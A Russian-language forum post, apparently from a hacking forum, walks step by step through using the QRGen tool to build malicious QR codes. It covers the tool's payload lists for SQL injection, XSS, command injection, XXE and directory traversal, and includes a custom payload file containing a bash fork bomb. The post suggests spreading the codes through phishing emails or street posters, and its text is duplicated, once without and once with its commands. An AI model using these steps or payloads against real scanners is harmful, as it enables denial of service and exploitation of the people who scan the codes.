Тема уже поднималась здесь https://xss.pro/threads/31726/
Еще немного информации о "взломе" QR-кодов. Поговорим все о той же утилите QRGen
Тёмная сторона QR-кодов
В современном мире, QR-коды используют практически везде: упаковки товара в магазинах, ссылки на профиль автора под граффити на улицах, талоны на авио-посадочные места, "быстрые ссылки" на разного рода мероприятия. Именно это делает их интересной целью для энтузиастов в области информационной безопасности. Благодаря многочисленным недостаткам в подавляющей части сканирующих устройств, можно использовать общие уязвимости, используя эксплойты, упакованные в пользовательские QR-коды.
Также, сегодня мы рассмотрим инструмент под названием QRGen.
Например, вредоносный QR-код может быть использован злоумышленником в фишинговом электронном письме или даже может быть просто распечатан и развешан на улицах в качестве постера, который обещает бесплатные предложения или предложения со скидкой. После сканирования кода, например, жертва переходит на небезопасный сайт где подвергает свою конфиденциальную информацию опасности.
Так что же такое QR-коды?
QR-код (англ. Quick Response Code — код быстрого реагирования; сокр. QR code) — товарный знак для типа матричных штрихкодов (или двумерных штрихкодов), изначально разработанных для автомобильной промышленности Японии. Штрихкод — считываемая машиной оптическая метка, содержащая информацию об объекте, к которому она привязана.
QR-код состоит из чёрных квадратов, расположенных в квадратной сетке на белом фоне, которые могут считываться с помощью устройств обработки изображений, таких как камера.
Система QR-кодов стала популярной за пределами автомобильной промышленности благодаря возможности быстрого считывания и большей ёмкости по сравнению со штрихкодами стандарта UPC.
К слову, UPC используют при маркировке товаров в магазинах, так как они могут кодировать только серию цифр и обладают малой ёмкостью . Наверное каждый видел их:
Один QR-код может содержать 4 296 символов ASCII, к тому же, никто не запрещал отформатировать данные)
Например, очень удобно использовать QR-код для экспресс-приглашения в вашу wifi-сеть. Например, с помощью бесплатного приложения для Android (на счет IOS не знаю) можно сгенерировать код которым вы можете поделиться с кем-угодно, и при его сканировании, человек будет автоматически подключен к вашей wi-fi сети.
QRGen
Относительно большая нагрузка QR-кода может принести пользу злоумышленнику. Данный инструмент закодирует пользовательскую полезную нагрузку в QR-код используя Phyton.
QRGen поставляется со встроенной библиотекой, которая содержит множество популярных эксплойтов.
Доступ к категориям полезных нагрузок, доступных в QRGen, можно получить с помощью флага -I и номера во время выполнения скрипта. Номер и тип полезной нагрузки указаны ниже:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal
Шаг 1. Установка QRGen
Скачаем данный инструмент:
После того как загрузка завершится, перейдём в каталог и перечислим содержимое, чтобы найти файл требований:
Вывод:
Для того чтобы убедиться что у нас установлены все библиотеки, запустим установочный файл с помощью следующей команды:
Если не сработает, есть альтернативная команда:
Шаг 2. Создание полезной нагрузки и вредоносных QR-кодов.
Запустим скрипт, набрав python3 qrgen.py
Для начала, создадим полезную нагрузку содержащую строки формата:
Будет сгенерирована несколько QR-кодов, и последний из созданных откроется автоматически.
Вы можете увидеть остальную часть ваших полезных нагрузок:
Шаг 3. Создание пользовательских полезных нагрузок.
Чтобы создать пользовательскую полезную нагрузку, мы можем сначала создать текстовый файл, содержащий то, что мы хотим закодировать. Каждая строка будет новой полезной нагрузкой.
В данный текстовый файл поместим нашу полезную нагрузку. Например, создадим форк-бомбу.
Мы можем сохранить его, нажав Ctrl+X , затем нажмёмY и Enter, чтобы подтвердить сохранение. Теперь посмотрим на наш текстовый файл, содержащий нашу полезную нагрузку:
Чтобы записать полезную нагрузку в QR-код, мы будем использовать опцию -w . Предполагаем, что ваш файл полезных данных называется «dark_sploit.txt» :
В итоге мы получим QR-код с fork-бомбой.
Итог:
QR-коды могут быть опасными, надеюсь я смог доказать вам это)
Единственный способ защититься от данного рода атак - не сканировать QR-коды без особой необходимости.
Так как человек не может узнать что находится в QR-коде, предварительно не просканировав его, сканирование может угрожать конфиденциальности ваших личных данных.
Удачи!
Автор @FuckedTurtle
Еще немного информации о "взломе" QR-кодов. Поговорим все о той же утилите QRGen
Тёмная сторона QR-кодов
В современном мире, QR-коды используют практически везде: упаковки товара в магазинах, ссылки на профиль автора под граффити на улицах, талоны на авио-посадочные места, "быстрые ссылки" на разного рода мероприятия. Именно это делает их интересной целью для энтузиастов в области информационной безопасности. Благодаря многочисленным недостаткам в подавляющей части сканирующих устройств, можно использовать общие уязвимости, используя эксплойты, упакованные в пользовательские QR-коды.
Также, сегодня мы рассмотрим инструмент под названием QRGen.
Например, вредоносный QR-код может быть использован злоумышленником в фишинговом электронном письме или даже может быть просто распечатан и развешан на улицах в качестве постера, который обещает бесплатные предложения или предложения со скидкой. После сканирования кода, например, жертва переходит на небезопасный сайт где подвергает свою конфиденциальную информацию опасности.
Так что же такое QR-коды?
QR-код (англ. Quick Response Code — код быстрого реагирования; сокр. QR code) — товарный знак для типа матричных штрихкодов (или двумерных штрихкодов), изначально разработанных для автомобильной промышленности Японии. Штрихкод — считываемая машиной оптическая метка, содержащая информацию об объекте, к которому она привязана.
QR-код состоит из чёрных квадратов, расположенных в квадратной сетке на белом фоне, которые могут считываться с помощью устройств обработки изображений, таких как камера.
Система QR-кодов стала популярной за пределами автомобильной промышленности благодаря возможности быстрого считывания и большей ёмкости по сравнению со штрихкодами стандарта UPC.
К слову, UPC используют при маркировке товаров в магазинах, так как они могут кодировать только серию цифр и обладают малой ёмкостью . Наверное каждый видел их:
Один QR-код может содержать 4 296 символов ASCII, к тому же, никто не запрещал отформатировать данные)
Например, очень удобно использовать QR-код для экспресс-приглашения в вашу wifi-сеть. Например, с помощью бесплатного приложения для Android (на счет IOS не знаю) можно сгенерировать код которым вы можете поделиться с кем-угодно, и при его сканировании, человек будет автоматически подключен к вашей wi-fi сети.
QRGen
Относительно большая нагрузка QR-кода может принести пользу злоумышленнику. Данный инструмент закодирует пользовательскую полезную нагрузку в QR-код используя Phyton.
QRGen поставляется со встроенной библиотекой, которая содержит множество популярных эксплойтов.
Доступ к категориям полезных нагрузок, доступных в QRGen, можно получить с помощью флага -I и номера во время выполнения скрипта. Номер и тип полезной нагрузки указаны ниже:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal
Шаг 1. Установка QRGen
Скачаем данный инструмент:
git clone https://github.com/h0nus/QRGenПосле того как загрузка завершится, перейдём в каталог и перечислим содержимое, чтобы найти файл требований:
Код:
cd QRGen
ls
demo.gif qrgen.py README.md requirements.txt wordsДля того чтобы убедиться что у нас установлены все библиотеки, запустим установочный файл с помощью следующей команды:
pip3 install -r requirements.txtЕсли не сработает, есть альтернативная команда:
python3 -m pip install -r requirements.txtШаг 2. Создание полезной нагрузки и вредоносных QR-кодов.
Запустим скрипт, набрав python3 qrgen.py
Код:
~/QRGen$ python3 qrgen.py
e88 88e 888 88e e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus
usage: qrgen.py -l [number]
usage: qrgen.py -w [/path/to/custom/wordlist]
Payload lists:
0 : SQL Injections
1 : XSS
2 : Command Injection
3 : Format String
4 : XXE
5 : String Fuzzing
6 : SSI Injection
7 : LFI / Directory Traversal
Tool to generate Malformed QRCodes for fuzzing QRCode parsers/reader
optional arguments:
-h, --help show this help message and exit
Options for QRGen:
--list {0,1,2,3,4,5,6,7}, -l {0,1,2,3,4,5,6,7}
Set wordlist to use
--wordlist WORDLIST, -w WORDLIST
Use a custom wordlist
Pay attention everywhere, even in the dumbest spot
Для начала, создадим полезную нагрузку содержащую строки формата:
Код:
~/QRGen$ python3 qrgen.py -l 5
e88 88e 888 88e e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus
Payload path generated..
Path already cleared or deleted..
Generated 46 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..
Будет сгенерирована несколько QR-кодов, и последний из созданных откроется автоматически.
Вы можете увидеть остальную часть ваших полезных нагрузок:
Код:
~/QRGen$ cd genqr
~/QRGen/genqr$ ls
payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png
payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png
payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png
payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png
payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png
payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png
payload-15.png payload-24.png payload-33.png payload-42.png
payload-16.png payload-25.png payload-34.png payload-43.png
payload-17.png payload-26.png payload-35.png payload-44.png
payload-18.png payload-27.png payload-36.png payload-45.png
Шаг 3. Создание пользовательских полезных нагрузок.
Чтобы создать пользовательскую полезную нагрузку, мы можем сначала создать текстовый файл, содержащий то, что мы хотим закодировать. Каждая строка будет новой полезной нагрузкой.
~/QRGen/genqr$ nano badstuff.txtВ данный текстовый файл поместим нашу полезную нагрузку. Например, создадим форк-бомбу.
:(){ :|: & };:Мы можем сохранить его, нажав Ctrl+X , затем нажмёмY и Enter, чтобы подтвердить сохранение. Теперь посмотрим на наш текстовый файл, содержащий нашу полезную нагрузку:
Код:
~/QRGen/genqr$ ls
dark_sploit.txt payload-18.png payload-27.png payload-36.png payload-45.png
payload-0.png payload-19.png payload-28.png payload-37.png payload-4.png
payload-10.png payload-1.png payload-29.png payload-38.png payload-5.png
payload-11.png payload-20.png payload-2.png payload-39.png payload-6.png
payload-12.png payload-21.png payload-30.png payload-3.png payload-7.png
payload-13.png payload-22.png payload-31.png payload-40.png payload-8.png
payload-14.png payload-23.png payload-32.png payload-41.png payload-9.png
payload-15.png payload-24.png payload-33.png payload-42.png
payload-16.png payload-25.png payload-34.png payload-43.png
payload-17.png payload-26.png payload-35.png payload-44.png
Чтобы записать полезную нагрузку в QR-код, мы будем использовать опцию -w . Предполагаем, что ваш файл полезных данных называется «dark_sploit.txt» :
Код:
~/QRGen/genqr$ cd ..
~/QRGen$ python3 qrgen.py -w '/username/QRGen/genqr/dark_sploit.txt'
e88 88e 888 88e e88'Y88
d888 888b 888 888D d888 'Y ,e e, 888 8e
C8888 8888D 888 88" C8888 eeee d88 88b 888 88b
Y888 888P 888 b, Y888 888P 888 , 888 888
"88 88" 888 88b, "88 88" "YeeP" 888 888
b
8b, QRGen ~ v0.1 ~ by h0nus
Payload path exist, continuing...
Path already cleared or deleted..
Generated 1 payloads!
Opening last generated payload...
Thanks for using QRGen, made by H0nus..
В итоге мы получим QR-код с fork-бомбой.
Итог:
QR-коды могут быть опасными, надеюсь я смог доказать вам это)
Единственный способ защититься от данного рода атак - не сканировать QR-коды без особой необходимости.
Так как человек не может узнать что находится в QR-коде, предварительно не просканировав его, сканирование может угрожать конфиденциальности ваших личных данных.
Удачи!
Автор @FuckedTurtle